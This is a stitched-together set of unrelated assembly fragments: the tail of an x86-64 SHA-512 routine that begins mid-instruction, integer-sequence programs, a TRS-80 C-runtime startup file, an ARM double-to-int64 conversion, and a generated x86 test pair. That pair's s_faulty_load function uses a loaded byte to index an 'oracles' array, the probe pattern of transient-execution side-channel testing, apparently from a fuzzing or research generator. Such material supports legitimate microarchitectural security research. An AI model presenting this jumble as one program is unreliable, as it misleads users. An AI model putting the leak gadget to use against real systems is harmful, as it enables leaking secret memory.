%r14 add (8)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx ror $(14), %rcx mov %r11, %rbx push %r11 not %rdx ror $(18), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(23), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx ror $(28), %rcx mov %r15, %rbx push %r15 xor %r8, %rdx ror $(34), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(5), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 add (528)(%rbp), %r13 add (16)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx ror $(14), %rcx mov %r10, %rbx push %r10 not %rdx ror $(18), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(23), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx ror $(28), %rcx mov %r14, %rbx push %r14 xor %r15, %rdx ror $(34), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(5), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 add (536)(%rbp), %r12 add (24)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx ror $(14), %rcx mov %r9, %rbx push %r9 not %rdx ror $(18), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(23), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx ror $(28), %rcx mov %r13, %rbx push %r13 xor %r14, %rdx ror $(34), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(5), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 add (544)(%rbp), %r11 add (32)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx ror $(14), %rcx mov %r8, %rbx push %r8 not %rdx ror $(18), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(23), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx ror $(28), %rcx mov %r12, %rbx push %r12 xor %r13, %rdx ror $(34), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(5), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 add (552)(%rbp), %r10 add (40)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx ror $(14), %rcx mov %r15, %rbx push %r15 not %rdx ror $(18), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(23), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx ror $(28), %rcx mov %r11, %rbx push %r11 xor %r12, %rdx ror $(34), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(5), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 add (560)(%rbp), %r9 add (48)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx ror $(14), %rcx mov %r14, %rbx push %r14 not %rdx ror $(18), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(23), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx ror $(28), %rcx mov %r10, %rbx push %r10 xor %r11, %rdx ror $(34), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(5), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 add (568)(%rbp), %r8 add (56)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx ror $(14), %rcx mov %r13, %rbx push %r13 not %rdx ror $(18), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(23), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx ror $(28), %rcx mov %r9, %rbx push %r9 xor %r10, %rdx ror $(34), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(5), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 add (576)(%rbp), %r15 add (64)(%rsp), %r15 mov %r12, %rcx mov %r12, %rdx ror $(14), %rcx mov %r12, %rbx push %r12 not %rdx ror $(18), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(23), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx ror $(28), %rcx mov %r8, %rbx push %r8 xor %r9, %rdx ror $(34), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(5), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 add (584)(%rbp), %r14 add (72)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx ror $(14), %rcx mov %r11, %rbx push %r11 not %rdx ror $(18), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(23), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx ror $(28), %rcx mov %r15, %rbx push %r15 xor %r8, %rdx ror $(34), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(5), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 add (592)(%rbp), %r13 add (80)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx ror $(14), %rcx mov %r10, %rbx push %r10 not %rdx ror $(18), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(23), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx ror $(28), %rcx mov %r14, %rbx push %r14 xor %r15, %rdx ror $(34), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(5), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 add (600)(%rbp), %r12 add (88)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx ror $(14), %rcx mov %r9, %rbx push %r9 not %rdx ror $(18), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(23), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx ror $(28), %rcx mov %r13, %rbx push %r13 xor %r14, %rdx ror $(34), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(5), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 add (608)(%rbp), %r11 add (96)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx ror $(14), %rcx mov %r8, %rbx push %r8 not %rdx ror $(18), %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx ror $(23), %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx ror $(28), %rcx mov %r12, %rbx push %r12 xor %r13, %rdx ror $(34), %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx ror $(5), %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 add (616)(%rbp), %r10 add (104)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx ror $(14), %rcx mov %r15, %rbx push %r15 not %rdx ror $(18), %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx ror $(23), %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx ror $(28), %rcx mov %r11, %rbx push %r11 xor %r12, %rdx ror $(34), %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx ror $(5), %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 add (624)(%rbp), %r9 add (112)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx ror $(14), %rcx mov %r14, %rbx push %r14 not %rdx ror $(18), %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx ror $(23), %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx ror $(28), %rcx mov %r10, %rbx push %r10 xor %r11, %rdx ror $(34), %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx ror $(5), %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 add (632)(%rbp), %r8 add (120)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx ror $(14), %rcx mov %r13, %rbx push %r13 not %rdx ror $(18), %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx ror $(23), %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx ror $(28), %rcx mov %r9, %rbx push %r9 xor %r10, %rdx ror $(34), %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx ror $(5), %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, (%rdi) add %r9, (8)(%rdi) add %r10, (16)(%rdi) add %r11, (24)(%rdi) add %r12, (32)(%rdi) add %r13, (40)(%rdi) add %r14, (48)(%rdi) add %r15, (56)(%rdi) add $(128), %rsi subq $(128), (128)(%rsp) jg .Lsha512_block_loopgas_1 add $(152), %rsp pop %rbp pop %r15 pop %r14 pop %r13 pop %r12 pop %rbx ret .Lfe1: .size m7_UpdateSHA512, .Lfe1-(m7_UpdateSHA512)
; A083196: a(n) = 8*n^4 + 9*n^2 + 2. ; 2,19,166,731,2194,5227,10694,19651,33346,53219,80902,118219,167186,230011,309094,407027,526594,670771,842726,1045819,1283602,1559819,1878406,2243491,2659394,3130627,3661894,4258091,4924306,5665819,6488102,7396819,8397826 mul $0,4 pow $0,2 add $0,9 mov $1,$0 mul $1,$0 sub $1,81 div $1,32 add $1,2
; A062722: a(n) = ceiling(n/3)*round(n/4). ; 0,0,1,1,2,2,4,6,6,6,12,12,12,15,20,20,24,24,30,35,35,35,48,48,48,54,63,63,70,70,80,88,88,88,108,108,108,117,130,130,140,140,154,165,165,165,192,192,192,204,221,221,234,234,252,266,266,266,300,300,300,315 add $0,2 mov $1,$0 div $0,3 div $1,4 mul $0,$1
; TRS 80 Program boot ; ; Stefano Bodrato 2008 ; ; $Id: trs80_crt0.asm,v 1.21 2016-07-15 21:03:25 dom Exp $ ; MODULE trs80_crt0 ;-------- ; Include zcc_opt.def to find out some info ;-------- defc crt0 = 1 INCLUDE "zcc_opt.def" ;-------- ; Some scope definitions ;-------- EXTERN _main ;main() is always external to crt0 code PUBLIC cleanup ;jp'd to by exit() PUBLIC l_dcal ;jp(hl) PUBLIC EG2000_ENABLED PUBLIC CLIB_KEYBOARD_ADDRESS ;-------- ; Set an origin for the application (-zorg=) default to $5200 ;-------- IF !DEFINED_CRT_ORG_CODE IF (startup=2) defc EG2000_ENABLED = 1 defc CRT_ORG_CODE = 22500 defc CLIB_KEYBOARD_ADDRESS = 0xf800 ELSE defc EG2000_ENABLED = 0 defc CRT_ORG_CODE = $5200 defc CLIB_KEYBOARD_ADDRESS = 0x3800 ENDIF ENDIF IF (startup=2) defc CONSOLE_ROWS = 24 defc CONSOLE_COLUMNS = 40 defc __CPU_CLOCK = 2216750 ELSE defc CONSOLE_ROWS = 16 defc CONSOLE_COLUMNS = 64 defc __CPU_CLOCK = 1774000 ENDIF defc TAR__fputc_cons_generic = 1 defc TAR__register_sp = -1 defc TAR__clib_exit_stack_size = 32 INCLUDE "crt/classic/crt_rules.inc" INCLUDE "target/trs80/def/maths_mbf.def" org CRT_ORG_CODE start: ld (start1+1),sp ;Save entry stack INCLUDE "crt/classic/crt_init_sp.asm" INCLUDE "crt/classic/crt_init_atexit.asm" call crt0_init_bss ld (exitsp),sp ; Optional definition for auto MALLOC init ; it assumes we have free space between the end of ; the compiled program and the stack pointer IF DEFINED_USING_amalloc INCLUDE "crt/classic/crt_init_amalloc.asm" ENDIF call _main ;Call user program cleanup: ; ; Deallocate memory which has been allocated here! ; IF CRT_ENABLE_STDIO = 1 EXTERN closeall call closeall ENDIF cleanup_exit: start1: ld sp,0 ;Restore stack to entry value ret l_dcal: jp (hl) ;Used for function pointer calls INCLUDE "crt/classic/crt_runtime_selection.asm" INCLUDE "crt/classic/crt_section.asm" SECTION code_crt_init IF (startup=2) call $1c9 ;CLS ld hl,$4400 ; Address of the TEXT map for COLOUR GENIE ELSE ld hl,$3c00 ; Address of the TEXT (Semi-Graphics) map for TRS-80 ENDIF ld (base_graphics),hl
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r15 push %r8 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x129fd, %rcx nop nop nop sub $14153, %r15 mov (%rcx), %r12 nop nop and $20569, %r9 lea addresses_normal_ht+0x12b50, %r8 nop cmp %r11, %r11 and $0xffffffffffffffc0, %r8 vmovaps (%r8), %ymm4 vextracti128 $1, %ymm4, %xmm4 vpextrq $0, %xmm4, %rdx nop and $8660, %r11 lea addresses_normal_ht+0x14f50, %rsi lea addresses_D_ht+0x76d0, %rdi nop nop add $2790, %r15 mov $65, %rcx rep movsl nop nop nop nop nop add %r9, %r9 lea addresses_WT_ht+0x7f50, %rdi nop nop xor $46586, %rcx movw $0x6162, (%rdi) nop nop inc %rsi lea addresses_normal_ht+0xfc90, %rsi lea addresses_WC_ht+0x11250, %rdi nop nop nop and %r12, %r12 mov $14, %rcx rep movsw add $32177, %rsi lea addresses_WC_ht+0x11290, %r15 clflush (%r15) nop nop nop nop cmp $37122, %rdi movups (%r15), %xmm1 vpextrq $0, %xmm1, %r12 nop nop nop xor %r12, %r12 lea addresses_WT_ht+0x1b550, %rdi nop nop sub %r15, %r15 mov $0x6162636465666768, %r8 movq %r8, %xmm3 and $0xffffffffffffffc0, %rdi movaps %xmm3, (%rdi) add %r11, %r11 lea addresses_WT_ht+0x181f0, %r15 nop cmp $4633, %r11 mov (%r15), %ecx add %rsi, %rsi lea addresses_A_ht+0x10f54, %rdx nop inc %rcx mov (%rdx), %r8d nop nop nop nop nop cmp %r11, %r11 lea addresses_WT_ht+0xa750, %r12 nop sub $57985, %r15 vmovups (%r12), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $1, %xmm0, %r11 nop nop inc %r9 lea addresses_WT_ht+0x16b48, %rdi nop inc %r15 mov $0x6162636465666768, %r8 movq %r8, %xmm4 movups %xmm4, (%rdi) nop nop add %r11, %r11 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r15 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r14 push %r8 push %r9 push %rax push %rbp push %rdx push %rsi // Load lea addresses_A+0x1d0b8, %r8 nop nop sub $17829, %rbp mov (%r8), %r9w nop nop cmp %rbp, %rbp // Store mov $0x950, %r14 nop nop nop nop nop add %rdx, %rdx mov $0x5152535455565758, %r8 movq %r8, (%r14) nop add $31, %rbp // Store lea addresses_D+0xcbd8, %rbp nop sub $3907, %r8 movw $0x5152, (%rbp) nop nop dec %r9 // Faulty Load lea addresses_UC+0x7350, %r14 nop nop and %rsi, %rsi movups (%r14), %xmm2 vpextrq $0, %xmm2, %r9 lea oracles, %r14 and $0xff, %r9 shlq $12, %r9 mov (%r14,%r9,1), %r9 pop %rsi pop %rdx pop %rbp pop %rax pop %r9 pop %r8 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_P', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_D', 'AVXalign': False, 'size': 2}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_UC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': True, 'congruent': 11, 'type': 'addresses_normal_ht', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}} {'src': {'same': False, 'congruent': 5, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': True, 'size': 16}} {'src': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': True, 'congruent': 10, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;; ;;; Microsoft Research Singularity ;;; ;;; Copyright (c) Microsoft Corporation. All rights reserved. ;;; ;;; This file contains ARM-specific assembly code. ;;; ; __dtoi64 double precision floating point to signed 64-bit integer convert ; ; Input: r1 - Most significant word of the double to be converted ; r0 - Least significant word of the double to be converted ; ; Output: r1 - Most significant word of the converted double in signed ; 64-bit integer format ; r0 - Least significant word of the converted double in signed ; 64-bit integer format ; ; Local storage size and offsets LOC_SIZE EQU 0x18 OrgOp1h EQU 0x14 OrgOp1l EQU 0x10 ExDResh EQU 0x0C ExDResl EQU 0x08 NewResh EQU 0x14 NewResl EQU 0x10 GET fpe.asm GET kxarm.inc AREA |.text|, CODE, READONLY Export __dtoi64 IMPORT FPE_Raise NESTED_ENTRY __dtoi64 EnterWithLR_16 STMFD sp!, {lr} ; Save return address SUB sp, sp, #LOC_SIZE ; Allocate local storage PROLOG_END STR r1, [sp, #OrgOp1h] ; Save off original args in case of exception ORRS r12, r0, r1, LSL #1 ; Check for zero STR r0, [sp, #OrgOp1l] ; .. MOVEQ r1, r0 ; return if zero (r0 already zero) ADDEQ sp, sp, #LOC_SIZE ; restore stack IF Interworking :LOR: Thumbing LDMEQFD sp!, {lr} ; .. BXEQ lr ELSE LDMEQFD sp!, {pc} ; .. ENDIF MOVS r2, r1, LSL #1 ; Right justify exponent, save sign bit in C MOV r1, r1, LSL #11 ; Left justify mantissa ORR r1, r1, r0, LSR #21 ; .. ; .. MOV r0, r0, LSL #11 ; .. ORR r1, r1, #1 << 31 ; Insert hidden one (even for denorms) BCS _ffix_negative ; If negative input, separate case MOV r3, #DExp_bias+1 ; r3 = 63 + DExp_bias ADD r3, r3, #62 ; .. SUBS r2, r3, r2, LSR #21 ; Determine shift amount BLE shift_left ; Negative shift is a shift left, NaN, ; or INF CMP r2, #64 ; See if shifting all bits out BGE shift_right_64 ; If shifting all bits out, return zero shift_right MOV r12, #0 ; Need to clear r12 for inexact check CMP r2, #32 ; See if shift amount >= 32 BLT shift_right_31 ; If not, shift right 31 or less MOV r12, r0 ; If >= 32, save lost bits in temp reg, MOV r0, r1 ; shift by moving words, and MOV r1, #0 ; adjust the shift amount SUB r2, r2, #32 ; .. shift_right_31 RSB r3, r2, #32 ; Check for inexact ORRS r12, r12, r0, LSL r3 ; .. MOV r0, r0, LSR r2 ; Shift the result ORR r0, r0, r1, LSL r3 ; .. MOV r1, r1, LSR r2 ; .. MOVNE r3, #INX_bit ; Set inexact if inexact MOVEQ r3, #0 ; Otherwise set to no exceptions B __dtoi64_return ; Return shift_left RSB r2, r2, #0 ; Get left shift amount CMP r2, #32 ; If >= 32, shift by moving words, and MOVGE r1, r0 ; adjusting shift amount MOVGE r0, #0 ; .. SUBGE r2, r2, #32 ; .. MOV r1, r1, LSL r2 ; Perform rest of shift RSB r3, r2, #32 ; .. ORR r1, r1, r0, LSR r3 ; .. MOV r0, r0, LSL r2 ; .. MOV r3, #IVO_bit ; Overflow so set invalid operation B __dtoi64_return ; Return shift_right_64 ; 0.0 < abs(Arg) < 1.0, so losing all bits MOV r3, #INX_bit ; Set inexact MOV r0, #0 ; Return zero MOV r1, #0 ; .. B __dtoi64_return ; Return _ffix_negative MOV r3, #DExp_bias+1 ; r3 = 63 + DExp_bias ADD r3, r3, #62 ; .. SUBS r2, r3, r2, LSR #21 ; Determine shift amount BLT shift_left_neg ; Negative shift is a shift left, NaN, ; or INF BEQ special_int64_min ; Special case of 0x8000000000000000 CMP r2, #64 ; See if shifting all bits out BGE shift_right_64 ; If shifting all bits out, return zero shift_right_neg MOV r12, #0 ; Need to clear r12 for inexact check CMP r2, #32 ; See if shift amount >= 32 BLT shift_right_31_neg ; If not, shift right 31 or less MOV r12, r0 ; If >= 32, save lost bits in temp reg, MOV r0, r1 ; shift by moving words, and MOV r1, #0 ; adjust the shift amount SUB r2, r2, #32 ; .. shift_right_31_neg RSB r3, r2, #32 ; Check for inexact ORRS r12, r12, r0, LSL r3 ; .. MOV r0, r0, LSR r2 ; Shift the result ORR r0, r0, r1, LSL r3 ; .. MOV r1, r1, LSR r2 ; .. MOVNE r3, #INX_bit ; Set inexact if inexact MOVEQ r3, #0 ; Otherwise set to no exceptions RSBS r0, r0, #0 ; Negate result RSC r1, r1, #0 ; .. B __dtoi64_return ; Return shift_left_neg RSB r2, r2, #0 ; Get left shift amount CMP r2, #32 ; If >= 32, shift by moving words, and MOVGE r1, r0 ; adjusting shift amount MOVGE r0, #0 ; .. SUBGE r2, r2, #32 ; .. MOV r1, r1, LSL r2 ; Perform rest of shift RSB r3, r2, #32 ; .. ORR r1, r1, r0, LSR r3 ; .. MOV r0, r0, LSL r2 ; .. RSBS r0, r0, #0 ; Negate result RSC r1, r1, #0 ; .. MOV r3, #IVO_bit ; Overflow so set invalid operation B __dtoi64_return ; Return special_int64_min TEQ r1, #0x80000000 ; If shift amount zero and result is TEQEQ r0, #0 ; 0x8000000000000000, just leave it MOVEQ r3, #0 ; .. MOVNE r3, #IVO_bit ; Otherwise it's invalid (overflow) RSBS r0, r0, #0 ; Negate result RSC r1, r1, #0 ; .. __dtoi64_return TST r3, #FPECause_mask ; Any exceptions? ADDEQ sp, sp, #LOC_SIZE ; If not, pop off saved arg and IF Interworking :LOR: Thumbing LDMEQFD sp!, {lr} ; return BXEQ lr ELSE LDMEQFD sp!, {pc} ; return ENDIF ORR r12, r3, #_FpDToI64 ; Save exception info LDR r3, [sp, #OrgOp1h] ; Load original arg LDR r2, [sp, #OrgOp1l] ; .. STR r0, [sp, #ExDResl] ; Store default result STR r1, [sp, #ExDResh] ; .. MOV r1, r12 ; Exception information ADD r0, sp, #NewResl ; Pointer to new result CALL FPE_Raise ; Handle exception information IF Thumbing :LAND: :LNOT: Interworking CODE16 bx pc ; switch back to ARM mode nop CODE32 ENDIF LDR r0, [sp, #NewResl] ; Load new result LDR r1, [sp, #NewResh] ; .. ADD sp, sp, #LOC_SIZE ; Pop off exception record and result IF Interworking :LOR: Thumbing LDMFD sp!, {lr} ; Return BX lr ELSE LDMFD sp!, {pc} ; Return ENDIF ENTRY_END __dtoi64 END
